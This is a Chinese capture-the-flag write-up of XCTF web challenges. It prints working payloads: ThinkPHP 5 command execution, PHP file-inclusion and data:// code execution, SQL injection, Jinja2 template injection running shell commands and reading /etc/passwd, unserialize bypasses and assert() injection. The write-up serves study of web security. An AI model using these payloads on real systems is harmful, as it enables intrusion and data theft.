攻防世界web进阶区刷题记录(1)

web进阶区

这里刷一下进阶区的题目,一边看wp一边学习

baby_web

提示是:想想初始页面是哪个
进入是一个hello world,然后就没有了,由于提示试试抓包,得到flag
在这里插入图片描述

Training-WWW-Robots

由于提示我们就查看robots.txt
在这里插入图片描述
获得flag
在这里插入图片描述

php_rce

题目很明显的提示了:ThinkPHP V5
在这里插入图片描述
上网找到相应的漏洞利用,这里我找的是:ThinkPHP 5.x远程命令执行漏洞分析与复现
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
发现可行,执行了whoami,那么就很简单了
在这里插入图片描述
cat /flag一下?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
在这里插入图片描述

Web_php_include

给出了源码:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

在这里插入图片描述
过滤了php://,但方法很多

方法1:大小写绕过

没有过滤Php://,可大写绕过
?page=Php://inputPOST方式提交<?php system("ls"); ?>
在这里插入图片描述
然后执行cat即可
在这里插入图片描述

方法2:php文件包含

php文件包含
?page=http://127.0.0.1/index.php/?hello=<?system('ls');?>
在这里插入图片描述
?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>
在这里插入图片描述

方法3:伪协议

使用其他的伪协议data://text/plain
首先获取路径?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT'];?>
在这里插入图片描述
读取当前目录的文件?page=data://text/plain,<?php print_r(scandir('/var/www'));?>
在这里插入图片描述
最后读取文件即可?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a);?>
在这里插入图片描述

warmup

打开是一个滑稽,查看源码得到source.php查看得到源代码

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

在这里插入图片描述
第一个if是对$page变量进行检验,要求是字符串,否则的话返回false,

第二个if是判断$page是否在规定的白名单数组里面;如果在的话返回true;接着截取$page的 ? 之前的内容进行查看,判断其是否在$whitelist中,如果在的话,返回true,不在的话返回false;然后对$page进行url解码,解码之后再继续截取 ? 之前的内容,判断是否在$whitelist数组之中,如果在的话返回true,否则返回false;都通过以后,就会包含file;

这里我们构造payload ?file=source.php?../../../../../../ffffllllaaaagggg(因为我们不知道具体的位置,所以我们只能目录跃迁进行尝试)然后得到flag
在这里插入图片描述
参考:[HCTF 2018]WarmUp

NewsCenter

没有过滤的sql注入,直接union select即可

得到news:
' and 0 union select 1,database(),3# 
得到secret_table:
' and 0 union select 1,table_schema,table_name from information_schema.columns #
得到fl4g:
' and 0 union select 1,2,column_name from information_schema.columns where table_name='secret_table'#
得到flag:
' and 0 union select 1,2,fl4g from secret_table #

在这里插入图片描述

NaNNaNNaNNaN-Batman

下载附件,发现是js代码,但很混乱,发现最后有个eval()函数执行行了前面的_函数,将eval()改为alert(),改为.html即可弹出源代码
在这里插入图片描述
整理后得:

function $() {
    var e = document.getElementById("c").value;
    if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) if (e.match(/c7be9/) != null) {
        var t = ["fl", "s_a", "i", "e}"];
        var n = ["a", "_h0l", "n"];
        var r = ["g{", "e", "_0"];
        var i = ["it'", "_", "n"];
        var s = [t, n, r, i];
        for (var o = 0; o < 13; ++o) {
            document.write(s[o % 4][0]);
            s[o % 4].splice(0, 1)
        }
    }
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _

将数组拼接起来即是flag:flag{it's_a_h0le_in_0ne}
或者运行js代码得到一个弹窗,输入数字要满足条件如下:

  1. 长度为16
  2. 以be0f23开头
  3. 以e98aa结尾
  4. 包含233ac
  5. 包含c7be9

得到be0f233ac7be98aa,输入得到flag
在这里插入图片描述

PHP2

打开得到:Can you anthenticate to this website?
想法就是,但扫描目录没得出来,查看wp发现是index.phps
在这里插入图片描述
输入admin的两次url编码即可
?id=%2561%2564%256d%2569%256e
在这里插入图片描述

unserialize3

得到一串代码:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

构造序列化,只存在一个变量flag
?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";}
又要绕过__wakeup(),将1改为2即可
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
在这里插入图片描述

upload1

查看源代码得:

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}

}

前端js检验,抓包绕过,首先上传jpg
在这里插入图片描述
蚁剑连接即可得到flag
在这里插入图片描述

Web_python_template_injection

进入题目提示:python template injection,这个点不会,看了wp
执行{{7*7}}
在这里插入图片描述
可行,那么就可以读取数据了,读取/etc/password
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
在这里插入图片描述
首先执行ls命令

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}  
  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
    {% if 'eval' in b.keys() %}    //找到了
      {{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

在这里插入图片描述
得到了fl4g,那么cat一下就可以了,将ls改为cat fl4g
在这里插入图片描述
看了另一个师傅的,代码简单很多:
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("ls").read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("cat fl4g").read()}}

方法很多,不拘于一种方法最好
参考:
攻防世界WEB高手进阶之python_template_injection
[WP]Web>Python>template>注入,wpWebpythontemplateinjection,攻防,世界

Web_php_unserialize

反序列化的题目,给出了源码

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

主要绕过两个地方:

  1. preg_match(’/[oc]:\d+:/i’, $var)的绕过
  2. unserialize时__wakeup的绕过

绕过正则:使用+可以绕过preg_match() 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过
绕过wakeup:使序列化字符串中标识变量数量的值大于实际变量即可,即1变为2
在下面添加如下代码构造序列化即可:

    $A = new Demo('fl4g.php');
    $C = serialize($A);
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
    $C = str_replace(':1:', ':2:',$C);//绕过wakeup
    var_dump($C);
    //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    var_dump(base64_encode($C));
    //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="

在这里插入图片描述
传入可得到flag
在这里插入图片描述

supersqli

强网杯的原题,直接使用payload

1'; handler `1919810931114514` open as y1ng; handler y1ng read first; handler y1ng close;#

在这里插入图片描述

easytornado

一样是buuctf上做过的题目,直接上payload
error?msg={{1*2}}
在这里插入图片描述
获得cookie:error?msg={{handler.settings}}
在这里插入图片描述
得到ead3e90c-a620-4f9c-afd5-824276d245ba,使用python脚本:

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="ead3e90c-a620-4f9c-afd5-824276d245ba"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

在这里插入图片描述
最后file?filename=/fllllllllllllag&filehash=f99dedfcd23ec0411f0727c8ade108c4
在这里插入图片描述

ics-06

题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
点进去什么都没有,就只有点报表中心得出
在这里插入图片描述
送分题。。。。尝试了sql注入没反应,看wp发现爆破id即可,那么就开始抓包爆破了,数据从1设到10000,爆出了id=2333时不同
在这里插入图片描述
访问得到flag
在这里插入图片描述

lottery

界面还蛮有意思的,得到flag要$9990000,要两次得到7个一样的数字
在这里插入图片描述
查看wp才发现是git泄露,那么就直接开始githack了
在这里插入图片描述
接下来代码审计,猜数字的在api.php中,有一个弱类型,bool类型的true是可以和任何数据弱类型相等的
在这里插入图片描述
那么就开始抓包把数据都改为true即可,注意当生成的win_number中不含0时才会得5000000
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
在这里插入图片描述
最后刷到足够的钱,买flag就行了
在这里插入图片描述
参考:攻防世界-Web-lottery(.git泄露、php源码审计、弱类型利用)-XCTF 4th-QCTF-2018

mfw

首先发现有git泄露,直接可以得到源码
在这里插入图片描述
好吧,打开乱码,还是用githack得到index.php的源码:

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

assert()函数会将读入的代码当做PHP代码来执行

  1. 首先对strpos函数进行闭合,构造:?page=’)
  2. 可以把后面', '..') === false的给注释掉,构造:?page=').phpinfo();//
  3. 或者不注释也行,直接插入,构造?page='.phpinfo().'

在这里插入图片描述
那么就可以使用system()来执行语句了
?page='.system("ls").'
在这里插入图片描述
?page='.system("cat templates/flag.php").',查看源码得到flag
在这里插入图片描述
参考:XCTF WEB mfw

web2

给出了源码:

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str); //反转字符串
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){//循环字符串长度
       
        $_c=substr($_o,$_0,1); //从$_0位置开始,返回1个字符
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   //拼接两个变量的内容 赋值
    } 
    return str_rot13(strrev(base64_encode($_)));//返回  ROT13 编码/解码(反转字符串(base64加密($_)))
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?> 

逆向解密即可,这里借鉴了师傅的代码:

<?php
$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$_ = base64_decode(strrev(str_rot13($str)));

$_o=NULL;
for($_0=0;$_0<strlen($_);$_0++){  
       
        $_c=substr($_,$_0,1);  

        $__=ord($_c)-1;  

        $_c=chr($__);  

        $_o=$_o.$_c;   
    } 
echo strrev($_o);
?>

在这里插入图片描述
参考:攻防世界 web 进阶 web2

  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
攻防世界中的文件包含漏洞(File Inclusion Vulnerability)是一种常见的web安全漏洞。它主要出现在web应用程序中,当应用程序动态包含用户可控制的文件时,如果没有正确过滤和验证用户输入,攻击者可以利用这个漏洞执行恶意代码或读取敏感文件。 文件包含漏洞分为本地文件包含(Local File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种类型。LFI漏洞发生在应用程序尝试包含本地文件时,而RFI漏洞则允许攻击者通过远程服务器包含外部文件。 为了防止文件包含漏洞,开发人员应该遵循以下最佳实践: 1. 永远不要信任用户输入。对用户提供的文件名、路径或URL行严格的输入验证和过滤。 2. 使用白名单机制限制可包含的文件范围。只允许应用程序包含预定义的合法文件,而不是用户可控制的任意文件。 3. 避免使用动态包含,尽量使用静态包含。如果必须使用动态包含,确保只包含可信任的文件。 4. 对于本地文件包含漏洞,限制访问文件系统的权限。确保应用程序只能访问必要的文件,并将敏感文件放在可访问性受限的目录下。 5. 对于远程文件包含漏洞,禁止从远程服务器包含文件,或者使用安全的方法验证和限制远程文件的来源。 6. 定期更新和修补应用程序的漏洞,以确保及时修复已知的文件包含漏洞和其他安全问。 这些是一些常见的防范文件包含漏洞的方法,但在实际开发过程中,还需要根据具体情况采取其他安全措施来保护应用程序免受攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值